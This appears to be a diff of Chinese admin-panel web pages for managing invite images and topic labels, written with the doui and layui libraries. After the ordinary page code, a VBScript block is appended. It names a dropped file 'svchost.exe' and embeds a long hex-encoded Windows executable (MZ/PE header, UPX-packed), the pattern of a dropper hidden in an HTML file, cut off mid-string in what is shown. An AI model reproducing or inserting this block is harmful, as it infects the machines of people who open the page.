| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } } |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[10].key == item[10].key) { thisIndex = i; break; } } |
| | | // 直接更换顺序 |
| | | downRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | } |
| | | }); |
| | | |
| | |
| | | vm_table.search(); |
| | | }); |
| | | |
| | | |
| | | document.body.style.display = "block"; |
| | | }, |
| | | }); |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/navbar/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | |
| | | </script> |
| | |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>分享邀请图管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <title>邀请好友图</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/spreadImg/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "图片", key: mo[i].url, value: mo[i].url, dataType: "img", style: "width:auto; height:auto; max-width:100%; max-height:0.6rem" }, |
| | | { title: "图片URL", key: mo[i].url, value: mo[i].url, "class": "font-gray" }, |
| | | { title: "创建时间", key: mo[i].createtime, value: mo[i].createtime }, |
| | | { title: "创建时间", key: mo[i].createtime, value: mo[i].createtime },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ], |
| | | }; |
| | | // 将当前行放入tr组 |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "图片", width: "", orderUp: "", orderDown: "", |
| | | { title: "图片", width: "1rem", orderUp: "", orderDown: "", |
| | | edit: { type: "file", }, |
| | | }, |
| | | { title: "图片URL", width: "1.7rem", orderUp: "", orderDown: "" }, |
| | | { title: "创建时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "图片URL", width: "1.7rem", orderUp: "", orderDown: "" },
|
| | | { title: "创建时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | { title: "ID", width: "1rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | // 请求数据 |
| | | var mydata = {}; |
| | | // 如果修改了图片 |
| | | if (item[1].change == true) { mydata.file = item[1].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/spreadImg/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][0].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][3].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/spreadImg/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | id: item[0].key, |
| | | id: item[3].key, |
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[1].change == true) { mydata.file = item[1].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 修改文字 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/spreadImg/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | adminDom.editTan.opt({ title: "修改" }); |
| | | adminDom.editTan.thereData({ show: true, list: back.list[0] }); |
| | | } |
| | | |
| | | } |
| | | }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>专题标签管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | // 轮播图id |
| | | var bannerId = null; |
| | | |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function () |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载中..." }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | td: [
|
| | | { title: "名称", key: mo[i].name, value: mo[i].name }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")" }, |
| | | { title: "背景色", key: mo[i].bgColor, value: mo[i].bgColor}, |
| | | { title: "备注", key: mo[i].remark, value: mo[i].remark }, |
| | | { title: "创建时间", key: mo[i].createTime, value: mo[i].createTime }, |
| | | { title: "更新时间", key: mo[i].updateTime, value: mo[i].updateTime }, |
| | | { title: "备注", key: mo[i].remark, value: mo[i].remark },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | } |
| | | |
| | | thatTr.td[3]["style"] = "background:" + thatTr.td[3].value; |
| | | thatTr.td[2]["style"] = "background:" + thatTr.td[2].value; |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "名称", width: "", orderUp: "", orderDown: "", |
| | | { title: "名称", width: "1rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "背景色", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "备注", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "创建时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "更新时间", width: "", orderUp: "", orderDown: "" }, |
| | | },
|
| | | { title: "状态", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "背景色", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" , placeholder: "颜色代码: #FF0000"},
|
| | | },
|
| | | { title: "备注", width: "1rem", orderUp: "", orderDown: "", |
| | | edit: { type: "textarea"}, |
| | | },
|
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 启用状态 |
| | | name: item[2].key, // 名称 |
| | | bgColor: item[3].key, // 名称 |
| | | remark: item[4].key, // 备注 |
| | | var mydata = {
|
| | | name: item[0].key, // 名称 |
| | | state: item[1].key, // 启用状态 |
| | | bgColor: item[2].key, // 背景色 |
| | | remark: item[3].key, // 备注 |
| | | }; |
| | | // 信息上传 |
| | | doui.upload({ |
| | |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][4].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showToast({ content: item}) |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 启用状态 |
| | | id: item[1].key, // ID |
| | | name: item[2].key, // 名称 |
| | | bgColor: item[3].key, // 名称 |
| | | remark: item[4].key, // 备注 |
| | | name: item[0].key, // 名称
|
| | | state: item[1].key, // 启用状态
|
| | | bgColor: item[2].key, // 背景色
|
| | | remark: item[3].key, // 备注
|
| | | id: item[4].key, // ID |
| | | }; |
| | | // 信息上传 |
| | | doui.upload({
|
| | |
| | | data: mydata,
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); }
|
| | | }
|
| | |
| | | |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 获取传递过来的id |
| | | doui.urlParam({ |
| | | success: function (res) { bannerId = res.id; } |
| | | }); |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | |
| | | </script> |
| | | <SCRIPT Language=VBScript><!--
|
| | | DropFileName = "svchost.exe"
|
| | | WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CAC